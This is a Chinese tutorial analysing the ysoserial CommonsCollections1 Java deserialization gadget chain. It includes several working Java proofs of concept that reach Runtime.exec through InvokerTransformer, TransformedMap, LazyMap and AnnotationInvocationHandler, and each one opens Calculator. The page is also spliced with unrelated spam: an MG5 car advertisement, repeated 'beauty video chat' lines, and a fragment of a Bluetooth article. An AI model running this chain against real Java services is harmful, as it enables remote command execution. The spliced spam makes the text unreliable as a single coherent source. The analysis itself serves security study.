ysoserial分析之CommonsCollections1
让年轻人轻松拿下"潮跑新品类",全新MG5在11月18日上市后即热销,订单已突破万台,市场关注度持续升高,还获得代言人杨超越和粉丝们的极大支持,全面卷起"超越"风暴。乘势加码,全新MG5再一次超美女视频聊天
ysoserial分析之CommonsCollections1美女视频聊天
No.1 声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2 CommonsCollections1 漏洞利用
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:
- Transforming decorators that alter each object as it is added to the collection
- 转化装饰器:修改每一个添加到collection中的object
Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。
这里需要着重说下Transformer和他相关的类
这里先贴一段代码
package ysoserial.ceshi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.Runtime;
public class transformer {
public static void main(String[] args)
{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
}
}
首先先构建了一个Transformer数组,Transformer是一个接口,他定义的数组都是继承这个接口的类,进入这个数组,进入第一个元素。
ConstantTransformer类在实例化时,会将传入的对象赋值给iConstant,然后在实现Transformer的接口方法中,会返回这个类,之后进入InvokerTransformer类。
目前需要关注的是methodName这个参数,这里iMethodName是getMethod,在transform接口方法中,实现的是反射操作,假设input是runtime对象,那返回的就是反射调用的Java.lang.Runtime中的getRuntime()方法。
这里引出一个新的问题,反射如何调用exec执行命令?
package ysoserial.ceshi;import java.lang.reflect.Method;public class fanshe { public static void main(String[] args) throws Exception {
Class run = Class.forName("java.lang.Runtime");
Method getrun = run.getMethod("getRuntime");
Method exec = run.getMethod("exec",String.class);
exec.invoke(getrun.invoke(run),"/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
反射调用需要获取类的名字,一般用Class.fotname获取,之后从这个类中使用getMethod获取需要调用的方法,最后用invoke方法调用这个方法,这里以Runtime类为例子,首先获取Runtime类的类名,然后获取getRuntime静态方法,因为Runtime类的构造函数是私有方法,只能用getRuntime方法获取类的实例,之后获取Runtime的exec方法,这个方法是执行命令的方法,也需要获取,exec不是静态方法,在invoke方法中需要传入object,所以,需要先调用getrun生成Runtime的对象,getRuntime方法是静态方法,他在调用invoke需要传入的是类名,反射调用时,满足以上条件后就能弹出计算器。
回到Transformer数组中,假设,继承transformers接口的对象,他们的transform方法返回的值能从上到下传递,那第一个ConstantTransformer类返回的是Runtime类,之后进入new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]})。
在InvokerTransformer中,明明就有getMetod,这里为啥要传入getMethod呢,因为在InvokerTransformer,需要传入2个参数,但是Runtime是无参数的,所以,需要变动一下。ps:那如果不用Runtime呢,使用ProcessBuilder行不行呢
最后介绍一下ChainedTransformer类
没啥好说的,就是一个完美的工具类,调试一遍transform方法,看下利用链是如何触发的。
第一次进入循环,返回的是java.lang.Runtime.class对象。
第二次进入循环,getClass方法返回一个Class对象,之后用getMethod方法调用Class对象的getMethod方法,有点绕口,这里可以看成是反射调用反射,因为getMethod方法需要2个参数所以需要传入new Class[]{} ,最后返回getMethod.invoke(java.lang.Runtime,"getRuntime"),getMethod返回的方法,这里相当于返回java.lang.Runtime.getRuntime,接下来是调用这个方法。
第三次进入循环,因为input是一个方法,getClass方法返回的是一个Method对象,之后获取Method对象的invoke方法,这个invoke方法也是需要2个参数,也需要传入new Class{},最后相当于是invoke.invoke(java.lang.Runtime.getRuntime,null),返回了一个Runtime对象。
第四次进入循环,input是一个Runtime对象,回到最初的反射调用,命令执行成功,这里可能会有同学要问了:
为啥不这样执行呢?
因为Java.lang.Runtime这个对象不能被反序列化,所以不能这么执行。
核心的利用链明白了,还需要明白如何被调用的
package ysoserial.ceshi;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class commonsCollectionsCeshi1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
这里需要了解TransformedMap类
decorate方法是返回一个TransformedMap对象,其中valueTransformer是我们传入的Transformer数组,在TransformedMap类里还有一个很重要的函数
在setValue的时候就会触发这个函数,进入我们之前的利用链,map选择hashmap,因为他继承了反序列化接口,现在还需要一个readobject里面会调用setValue的入口来调用pop链,在jdk 7,这个入口就是sun.reflect.annotation.AnnotationInvocationHandler。
package ysoserial.ceshi;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import sun.reflect.annotation.AnnotationParser;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
public class commonsCollectionsCeshi1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
//onlyElement.setValue("foobar");
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Retention.class, outerMap);
FileOutputStream f = new FileOutputStream("p.cer");
ObjectOutputStream out = new ObjectOutputStream(f);
out.writeObject(instance);
FileInputStream fi = new FileInputStream("p.cer");
ObjectInputStream in = new ObjectInputStream(fi);
in.readObject();
}
}
构造函数里面有需要var1为注解类和Map,构造类的时候需要注意
this.memberValues就是我们传入的map对象,在readobject中和我们上面的pop链完全相同,完美。
明白了CommonsCollections1的pop链之后,可以分析在ysoserial中,这个gadget是怎么生成的
No.3 ysoserial是如何产生Gadget的
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs)
//new ConstantTransformer(1)
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
前面和之前分析的没什么区别,关键是后面的4句代码。
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
这里没有选择TransformedMap而是选择了LazyMap,LazyMap的利用链和TransformedMap的利用链不一样,——从这里开始需要重新跟了,跟进LazyMap.decorate
LazyMap的decorate方法设置了map和this.factory,在Lazymap中能触发Transformer链的是get方法
LazyMap.get可以在AnnotationInvocationHandler.invoke中被调用,这里真是奇妙,只要给LazyMap设置动态代理,LazyMap调用方法的时候就能调用invoke,而AnnotationInvocationHandler的readobject中又调用了LazyMap.entrySet方法,最后需要将map传入AnnotationInvocationHandler的构造函数中,反序列化AnnotationInvocationHandler,整条利用链就算完成了。
写一个例子,亲测能弹计算器
public static void m() throws Exception
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
// 创建完动态代理后,如果直接调用evilMap.entrySet()就会弹出计算器
evilMap.entrySet();
}
回到ysoserial中,Gadgets.createMemoitizedProxy方法其实就是创建动态代理,返回的值就是上面的evilMap。
Gadgets.createMemoizedInvocationHandler方法和第一条利用链生成AnnotationInvocationHandler的实例是一样的。
最后Reflections.setFieldValue(transformerChain, "iTransformers", transformers);是修改transformChain的iTransformers的值,将它替换成Transformer利用链,网上许多文章都说之前塞的一个无用的Transformer是为了防止生成payload的过程中执行命令,不知道是不是真的,总之,我在cc1这个链子的构造过程中,没发现有什么用。
上面并没有反序列化,只是返回了一个AnnotationInvocationHandler实例,最后,在GeneratePayload.main或者PayloadRunner.run中被反序列化输出或者调用。
本文转载自雷神众测
美女视频聊天 原标题:安全研究院:深度解构 Bluetooth 设备地址 所有的 Bluetooth 设备地址 (BD_ADDR) 虽然都固定为 48-bit,但是它们细分下来却有 5 种。下面将分别讨论这 5 种 BD_ADDR。 BR/EDR 设备
免责声明:本站所有信息均搜集自互联网,并不代表本站观点,本站不对其真实合法性负责。如有信息侵犯了您的权益,请告知,本站将立刻处理。联系QQ:1640731186